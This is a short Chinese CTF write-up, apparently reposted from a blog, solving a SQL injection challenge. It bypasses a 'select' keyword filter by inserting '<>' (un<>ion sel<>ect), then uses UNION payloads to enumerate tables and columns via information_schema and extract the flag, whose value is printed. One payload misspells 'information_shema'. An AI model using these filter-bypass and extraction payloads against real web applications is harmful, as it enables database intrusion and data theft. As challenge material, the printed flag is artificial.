sql注入用<>绕过被过滤的select ——百度杯9月第二场SQL

题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1-->

尝试union select 1,2,3提示inj code!

经过多次尝试之后发现select已经被过滤,于是百度绕过select过滤的方法,/*!%53eLEct*/,发现依旧无法绕过select过滤

经过再次尝试后发现可以用<>进行绕过,于是构造payload  un<>ion sel<>ect 1,2,3

返回了一个2,说明第二个字段可以显示

构建payload查询表名 un<>ion sel<>ect 1,group_concat(table_name) ,3from information_shema.tables where table_schema=database()

发现有info表

构建payload查询字段 un<>ion sel<>ect 1,group_concat(column_name) ,3 from information_schema.columns where table_name=0x696e666f(info的16进制)

发现有3个字段id,title,flAg_T5ZNdrm

构建payload获取字段 un<>ion sel<>ect 1,group_concat(flAg_T5ZNdrm),3 from info

获得flag

flag{f24a0c69-ee21-47c8-b54d-60f7728c5e6e}

原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/11530936.html